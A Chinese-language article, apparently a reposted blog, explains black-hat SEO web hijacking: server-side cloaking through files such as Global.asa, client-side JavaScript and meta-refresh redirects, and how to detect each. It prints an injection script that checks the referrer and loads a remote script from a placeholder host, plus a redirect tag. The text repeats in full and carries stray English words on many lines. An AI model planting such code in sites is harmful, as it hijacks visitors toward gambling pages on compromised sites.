黑帽SEO-網頁劫持

網頁劫持是目前黑帽SEO或者說黑產最喜歡的一種網頁引流方式,此手法每每經過入侵政府、教育機構網站(權重高),修改網站源代碼、放寄生蟲程序、設置二級目錄反向代理等實現。網頁劫持能夠分爲服務端劫持、客戶端劫持、百度快照劫持、百度搜索劫持等等;表現形式能夠是劫持跳轉,也能夠是劫持呈現的網頁內容,目前被普遍應用於私服、博彩等暴利行業。javascript

 

服務端劫持

服務端劫持也稱爲全局劫持,手法爲修改網站動態語言文本,判斷訪問來源控制返回內容,歷來達到網站劫持的目的。php

asp/aspx/php劫持

Global.asa、Global.asax、conn.asp、conn.php等文件比較特殊,做用是在每次執行一個動態腳本的時候,都會先加載該腳本, 而後再執行目標腳本。因此只要在 Global.asa 中寫判斷用戶系統信息的代碼(訪問來源等),若是是蜘蛛訪問則返回關鍵詞網頁(想要推廣的網站),若是是用戶訪問,則返回正常頁面。html

客戶端劫持

客戶端劫持的手法也不少,但主要就是2種:js劫持、Header劫持。前端

js劫持

js劫持目的:經過向目標網頁植入惡意js代碼,控制網站跳轉、隱藏頁面內容、窗口劫持等。java

js植入手法:能夠經過入侵服務器,直接寫入源代碼中;也能夠寫在數據庫中,由於有些頁面會呈現數據庫內容。數據庫

js劫持案例

效果:經過搜索引擎搜索點擊頁面(執行一段js)跳轉到博彩頁面;直接輸入網址訪問網頁,跳轉到404頁面。後端

代碼:瀏覽器

today=new Date(); today=today.getYear()+"-"+(today.getMonth()+1)+"-"+today.getDate(); var regexp=//.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(/.[a-z0-9/-]+){1,2}///ig; var where =document.referer; if(regexp.test(where)){ document.write ('<script language="javascript" type="text/javascript" src="http://www.xxx.com/test.js"></script>'); } else { window.location.href="../../404.htm"; } 

  

分析:經過referer判斷來路,若是referer來路爲空就是跳轉到404頁面,若是是搜索引擎來的referer裏面也會有顯示,而後在寫代碼控制跳轉。若是隻是控制實現顯示不一樣的內容,能夠修改php、asp代碼;若是須要劫持搜索引擎搜索框,能夠寫JS代碼來作瀏覽器本地跳轉。固然js功能能夠無限擴展,好比能夠控制一個ip一天內第一次訪問正常,其他訪問跳轉等等。服務器

header劫持

在源代碼中寫入如下代碼:網站

<meta http-equiv=「refresh「 content=「10; url=http://www.xksafe.com「> 

  

利用的就是Meta Refresh Tag(自動轉向),將流量引走。

手法對比

客戶端劫持與服務端區別

客戶端劫持:每次訪問網頁從服務端獲取到的網頁代碼都是相同的,只是控制了網頁代碼在瀏覽器中呈現的效果(好比是否進行跳轉等)。

服務端劫持:改變了每次訪問網頁從服務端獲取到的網頁代碼。

客戶端劫持與服務端判斷方法

客戶端劫持的判斷方法:只需觀察瀏覽器呈現的網頁前端代碼,查看是否引用了不當的js,或者其它敏感內容。

服務端劫持的判斷方法:能夠經過觀察網站後端代碼,或者經過改變ip,包頭等方式,觀察放回源碼是否不一樣。

結語: 網頁劫持的方法還有不少,我瞭解的大概只是皮毛,黑帽SEO技術的水很深,前路漫漫。

 

網頁劫持是目前黑帽SEO或者說黑產最喜歡的一種網頁引流方式,此手法每每經過入侵政府、教育機構網站(權重高),修改網站源代碼、放寄生蟲程序、設置二級目錄反向代理等實現。網頁劫持能夠分爲服務端劫持、客戶端劫持、百度快照劫持、百度搜索劫持等等;表現形式能夠是劫持跳轉,也能夠是劫持呈現的網頁內容,目前被普遍應用於私服、博彩等暴利行業。

服務端劫持

服務端劫持也稱爲全局劫持,手法爲修改網站動態語言文本,判斷訪問來源控制返回內容,歷來達到網站劫持的目的。

asp/aspx/php劫持

Global.asa、Global.asax、conn.asp、conn.php等文件比較特殊,做用是在每次執行一個動態腳本的時候,都會先加載該腳本, 而後再執行目標腳本。因此只要在 Global.asa 中寫判斷用戶系統信息的代碼(訪問來源等),若是是蜘蛛訪問則返回關鍵詞網頁(想要推廣的網站),若是是用戶訪問,則返回正常頁面。

客戶端劫持

客戶端劫持的手法也不少,但主要就是2種:js劫持、Header劫持。

js劫持

js劫持目的:經過向目標網頁植入惡意js代碼,控制網站跳轉、隱藏頁面內容、窗口劫持等。

js植入手法:能夠經過入侵服務器,直接寫入源代碼中;也能夠寫在數據庫中,由於有些頁面會呈現數據庫內容。

js劫持案例

效果:經過搜索引擎搜索點擊頁面(執行一段js)跳轉到博彩頁面;直接輸入網址訪問網頁,跳轉到404頁面。

代碼:

today=new Date(); today=today.getYear()+"-"+(today.getMonth()+1)+"-"+today.getDate(); var regexp=//.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(/.[a-z0-9/-]+){1,2}///ig; var where =document.referer; if(regexp.test(where)){ document.write ('<script language="javascript" type="text/javascript" src="http://www.xxx.com/test.js"></script>'); } else { window.location.href="../../404.htm"; } 

  

分析:經過referer判斷來路,若是referer來路爲空就是跳轉到404頁面,若是是搜索引擎來的referer裏面也會有顯示,而後在寫代碼控制跳轉。若是隻是控制實現顯示不一樣的內容,能夠修改php、asp代碼;若是須要劫持搜索引擎搜索框,能夠寫JS代碼來作瀏覽器本地跳轉。固然js功能能夠無限擴展,好比能夠控制一個ip一天內第一次訪問正常,其他訪問跳轉等等。

header劫持

在源代碼中寫入如下代碼:

<meta http-equiv=「refresh「 content=「10; url=http://www.xksafe.com「> 

  

利用的就是Meta Refresh Tag(自動轉向),將流量引走。

手法對比

客戶端劫持與服務端區別

客戶端劫持:每次訪問網頁從服務端獲取到的網頁代碼都是相同的,只是控制了網頁代碼在瀏覽器中呈現的效果(好比是否進行跳轉等)。

服務端劫持:改變了每次訪問網頁從服務端獲取到的網頁代碼。

客戶端劫持與服務端判斷方法

客戶端劫持的判斷方法:只需觀察瀏覽器呈現的網頁前端代碼,查看是否引用了不當的js,或者其它敏感內容。

服務端劫持的判斷方法:能夠經過觀察網站後端代碼,或者經過改變ip,包頭等方式,觀察放回源碼是否不一樣。

相關文章
相關標籤/搜索